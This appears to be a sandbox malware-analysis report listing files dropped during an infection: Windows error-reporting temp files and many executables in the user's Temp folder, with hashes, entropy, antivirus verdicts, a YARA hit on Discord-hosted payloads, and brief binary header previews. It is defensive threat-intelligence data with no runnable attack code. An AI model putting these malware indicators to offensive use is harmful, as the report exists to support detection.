MD5:	CF08C1DE42859C20B2D34A25654CB927
SHA1:	08723BDD9572112FF16270CC766085C89148915D
SHA-256:	C480A9FF150CBDE8804F51B4264A3213697E2614F04CE506BB11A2C34BE377FB
SHA-512:	5043BB5B3A08FFC31FFCACCF95D3641A88708C05C2AD3E5FC37B08E92CDBA171BA9EFBA39D8D78C3405FA8C15EC4B8471611663D5A27FE445418A923DC48A627
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1342935" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBA77.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	51858
Entropy (8bit):	3.0616433192144115
Encrypted:	false
SSDEEP:	1536:jLHv5WmtKiTdiIMZN+fNz0Ehs9WKTebyqbp:jLHv5WmtKiTdiIMZN+fx0Ehs9WKTebyG
MD5:	74A2DA0D08295658AA1F0293F6EADF2E
SHA1:	0C6C053599986E8D921BEEA9FE16EF324FB39CC4
SHA-256:	00D32A923A24EDE8F79E33C2E661F32AD3D903EDBE6C4B2D24A9344840782DE7
SHA-512:	24C2574F4AC293E82DCFA458C2C671BCE4D3CC2FC8AF56554C8A772CA83F89F9C4A16083CAA2A40D6A6C3AEAAAA90B8209158D9FC50F4ED93864869042B40D5F
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBEED.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695534489993445
Encrypted:	false
SSDEEP:	96:9GiZYWztLC0YZYHWlKbfHCUYEZlot0iXFjKVw5/4ZidaWXHBJrXIsJ3:9jZDVO7Y2JdaWXHBJr4sJ3
MD5:	25F7F1558464C00B4E4D702D387DA442
SHA1:	3240050B847D2BFCB21F9C7F866FA8488C98C37C
SHA-256:	AAA81A7419C4ED2C6E75EC2BE1C2DEBF54550E1F8B97352416130C7ED4290C9D
SHA-512:	F7F6CF719652058B24450EF387F149614AD950FDA2ADFD3418BDA3951B33A639461864E7E81292B87F327789101C2C25203D0D0C1F7A5499CE4303217AA2FA6C
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFA10.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jan 15 05:05:13 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	42152
Entropy (8bit):	1.9990135190542404
Encrypted:	false
SSDEEP:	192:TcGeH/iNOeh0wVM6/7wJ8EpwLkSjtUHpKxTHtE1W:WHeLsxyLFEsdu1W
MD5:	51E48C78778D421A4C28C21DF4E8DEEF
SHA1:	E1B678DFFCAEB6074ED6C741457D3B6FFD198BB8
SHA-256:	F8B2510CC073E240F4FA3588B5D06DECB7C7FFEEDD9B09E3715D06A82EC5E098
SHA-512:	1BB92EF8DDF4137C261C73562E177FF1F5FBA83AE7720846C000777C36FE9C88C1082897051CB95E8BDF88A340CBA92BCE925164705BA687BC87CC204F98EF95
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ........V.a....................................4...v(..........T.......8...........T...........................x...........d....................................................................U...........B..............GenuineIntelW...........T............U.a.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3BC6.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\3BC6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\2473.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7336391
Entropy (8bit):	7.993025428513385
Encrypted:	true
SSDEEP:	196608:76+hvICteEroXxqENE+sKsXXgvkz+AlnhMCRKsAN2aL:DInEroXjsKkXgsCMhkrNF
MD5:	CBE604877A46CEEBA112802BC17FFEF8
SHA1:	E85AB4CCBE491348C39F751162FFF71A90643ECA
SHA-256:	32703A3D88B3E9B8FE1A64FD1CBCC0925FC2C74BCBDEFBBD6944CBFAD0029FEC
SHA-512:	86F3946B813FB457D95B6635FA308DA1BF5F2C0FBD5BDCA75F7776D1A01A2D3C67A8A9E268DCC145FF575D70FBE84BE9BEB112A0D2269B955795C74468C00598
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'X.8c9.kc9.kc9.kwR.jh9.kwR.jd9.kwR.j.9.k.V#kg9.k1L.jE9.k1L.jr9.k1L.jj9.kwR.jh9.kc9.k.9.k.L.jp9.k.L.jb9.kRichc9.k................PE..d...Q..a.........."......6...T................@......................................p...`..................................................[..x...............................H... 9..............................@9..8............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........p.......T..............@....pdata...............`..............@..@_RDATA...............~..............@..@.rsrc...............................@..@.reloc..H...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\254E.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	324096
Entropy (8bit):	6.7085322399040335
Encrypted:	false
SSDEEP:	6144:7YHQmo4o6MLYuiQagdEmekrti+RUgf8pbdv:7oQLRPEQLFnrlRt8pJ
MD5:	41AB3EFA04441E560A279BD0F7C0503D
SHA1:	36498DB70D79BC77FD1D8C9543457BA467486D77
SHA-256:	5CE3B77E18533D7FC98C430034D5F384D81289FD28E3E9FF7DB248EB508F8002
SHA-512:	735CA627FFD1E4581854B3F8D1777AAD86A1BFBEE975C46F021EE1E2C19547EF84F498ADD85705B9B8BB24BCBE143AEDDEF31CBAB9D343D264AD2FF4C188832B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L......`..........................................@.............................................................................P.......(........................................................... ...@...............L............................text............................... ..`.data...............................@....wuxut..............................@....tijayu.............................@....zemoyi.............................@....rsrc...(............"..............@..@.reloc..dF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2F32.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	4.125149292696976
Encrypted:	false
SSDEEP:	192:s7yxMfjf6NrLqKZ6mXS9LzL1pvULIRPqY2F3991ZuBhyY8PGCz9QwAOSZCGQyBbf:KyufjSLq86mXS9LzLdqY2LHZ4cZA
MD5:	1B1E4286625BB189A526E910F2031C7B
SHA1:	650C0550F12C65D9841D10AB589FF39261018957
SHA-256:	C9D7CB68DEC80469C3C03B0E90C7AF1972462CA7779424DB3BFD9D44AEBAA624
SHA-512:	68F2366606B658FDDB2B5E9BAE2E6931FB455A230F8A4813EACB38A3D7853B9640F46FE9EE6FFD9862A509558B66C30A3494CB7231C3EF7CD784950771273155
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....vL..........."...0..............5... ...@....@.. ....................... ............@..................................4..O....@..\............................4............................................... ............... ..H............text........ ...................... ..`.rsrc...\....@......................@..@.reloc..............................@..B.................4......H........#..`............3...............................................0..:........(.......(....(.....s......o.....(.......(....(.......+..".(.......0............ ...(....r...p......%.."...(.....(...........%. N..."....o....&. ....(........&.....&...(....r...pr5..pr9..p(..........%..'...(.....(....s..........%.r;..p.o....t.....+..*........B..Q.......0..7.........(.............,.....i(.....(.....o....&s .....(....o!...o"....s#......o$.....+...(%.........o&...o'.......((..

C:\Users\user\AppData\Local\Temp\3136.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	321536
Entropy (8bit):	6.690971316601855
Encrypted:	false
SSDEEP:	6144:7vrN0pZXR3Srrj51BawxgIKP184NSWd2hQAjh3C:zrN0vR36TBHLY1JSWMQAt
MD5:	023802260A0216012A5F00079406D967
SHA1:	AC1B2B166216DE3D15552BCD23BEC03536AFE1A7
SHA-256:	0B2E2469C995A8D8DAF14CD69EF8717590B538C8A5B432F8704079DB5CF03D04
SHA-512:	589294C84150CFAC2830D58BC7BCA665FF86574417792BF7C02905924058F745F4D55CB12F01FB5C894A1964D2EF1009031FA598D6288CE581F22B7D19B01283
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L.....}`..........................................@........................................................................4...P.......(........................................................... ...@...............L............................text............................... ..`.data...............................@....yocinoj............................@....lebe...............................@....wuno...............................@....rsrc...(...........................@..@.reloc..ZF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3A7E.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3BC6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\45AA.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\54AF.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\6AF7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7336385
Entropy (8bit):	7.993036026488077
Encrypted:	true
SSDEEP:	196608:l++hvICteEroXxqENE+sKsXXgvkwuUxNhMC/CKN7kL:BInEroXjsKkXgs/EhWKNY
MD5:	AE6510D9815C44A818F722ECAE6844B8
SHA1:	2A34B5110F5C3C2424AE9685F57261E2546BD963
SHA-256:	C3CAD582268B165711E2F2B1834891C7BCB5E57A7EFB1E709E3DF19D011AD656
SHA-512:	8CAA9E661403D5D86F69E7C35E45CDF927EF9EC0C6045ED2CA5AF2EAAF26B4F99291EADAF2F0C8C00A31B05B228C6DF0C4BD205A7B3EC70E263313A08FFEF4F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'X.8c9.kc9.kc9.kwR.jh9.kwR.jd9.kwR.j.9.k.V#kg9.k1L.jE9.k1L.jr9.k1L.jj9.kwR.jh9.kc9.k.9.k.L.jp9.k.L.jb9.kRichc9.k................PE..d.....a.........."......6...T................@....................................%.p...`..................................................[..x...............................H... 9..............................@9..8............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........p.......T..............@....pdata...............`..............@..@_RDATA...............~..............@..@.rsrc...............................@..@.reloc..H...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7808.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3590144
Entropy (8bit):	7.997643531968
Encrypted:	true
SSDEEP:	49152:3+N1VszZfKeEM30gwJHRUy0hsgpJx7SbEmW/DNYwtinYQYwDvvEipRiGqmkNajh1:381EKrHVRA2A/+NWxYZYYDvvNji7o
MD5:	DA5C869D0ADE431230679390B5D183BF
SHA1:	A0A3EC54CDC7762F78BF1DD2C5594F9A6AF2CBC3
SHA-256:	98CE1395284401CDB5EBF5BDBCB02DDE9C404BEB668B7FF985794AE0408A5805
SHA-512:	47EA2FF52B50F1E4CB27957451D6C50F2D90B861A4BAF9A96718749368D76491CF9B1D39AA23E059A2A589DC48BD1EF0C529AE201EAD635806CA89A276C82087
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@..........................pS.....#87.....................................\|.N. .....M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@................P......................@.............1..`......................@....rsrc.........M.......0.............@....kujN2o2......N.......2.............@....adata.......`S.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8017.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	5.021094695416705
Encrypted:	false
SSDEEP:	384:1P27QR0ir3uqVQ1Tf+1rkZlgEdLcHIH+2f9sFIILCbj4KQWylH28iYfx:1PYQR0i4krj58LIL0zy2
MD5:	9DA91D9E3AD909FB8EBA4D3D74344982
SHA1:	D5B6872D062043478CBA1002A815A013952D3837
SHA-256:	0417281135837E3CCC11F35B2D17A6A3672B011E85C18884F54F6FEABA7B8069
SHA-512:	29D672F0BB8AEE885F008F7B7EBED499E7C5D8738B9373BF169896BE85C271FAAB5BD9792C176C7CDCB1C39606F07041E1E54E8F893D1D91F49509DF927AA8A0
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\8017.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...!................0..J..........rh... ........@.. ...............................1....@................................. h..O...................................Tg..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............N..............@..B................Th......H........C..."...........e..p...........................................^..}.....(.......(.........0...............(...%.-...(.....s......s....... ....o...... ....o.....(....r...po......... ....s..........o.....[o....o.........o ....[o....o!......o"......o#....s$............io%......o&.........,...o'......o(........,..o'.........,..o'........+.....(................"......................0............o).....(.....s+....+..*...0...........s,.... ....(-.....(........r%..po/.

C:\Users\user\AppData\Local\Temp\88E2.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1474560
Entropy (8bit):	6.247221725855881
Encrypted:	false
SSDEEP:	24576:EhiK5YeyX+krf/WDW7lhw/Re3/gXfoGmxXS+TaeSmOsS6SVHdYPQLnfnqG6JJzTm:v4jyX+krf/WDW7lhw/Re3/gXfoGmxXSt
MD5:	8C7457EEF295583195EF22683C133923
SHA1:	DD03B6C66BDAFDFC9DDFA468072D0D2C7AE97733
SHA-256:	E45E273ADB510E4D06F8D10B121740CDFABD862EA7D5617BCCE4BC9D81485939
SHA-512:	6437E6C0F4E36110B2614CFAE192AF5F18654D83478DBC4807DF42112A5E407150E9EEDF652E29E20EABFCD169657C40B64E660E344C392CB61D8C492FD07DC8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[(h...............0..v.............. ........@.. ....................................@.....................................W.................................................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc...............~..............@..B........................H.......4...P.......+N...`..tg..................................................g.......y....(.O...s+I...b.......(i...f....(j...r...p(....(k...f....ol...(m...ol...on....s.N.......f....ol...r.'.p(....on...f....o....rc'.p(....on...f....o....r.'.p(....(k........o....r/(.p(....r/!.p(....rq!.p(....(....on...f....o....r.(.p(....(k...f....o....r.(.p(....(k...f....o....r.).p(....(k...f....o....r.).p(....(k....~....:#...r;.p(.....#...(....o....s.........~.....~.....~

C:\Users\user\AppData\Local\Temp\9789.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3602944
Entropy (8bit):	7.997581797791447
Encrypted:	true
SSDEEP:	98304:dUo6hIZwh7VTBNLQP/zCAtY5oujwp+sTEo2fSTUD1R:dUPhIZwhBzQD1GoufsbTUDT
MD5:	E13718B977E0A61DEFA3A5313E1FBED6
SHA1:	F70F1A541102F74517050D9731898592386196F4
SHA-256:	2B13A7CCA8C39A41F4E760F432948D1E16DC75444B28FFAD71042F5817926AAE
SHA-512:	2034240C486D46A8EC52C85892ACEEA2B9ABF6E5199AFD33FDB4AE6FE12FFA480006B0F93B5BF6CFB6AD9C1B5A58DFFDD26D05E4BAA7095948D7686ABFC040FC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......O7.....................................\|.O. ....pM...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@................P......................@.............1......./.................@....rsrc........pM.......0.............@....wZtCyLX......O......J2.............@....adata........S.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B1B2.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
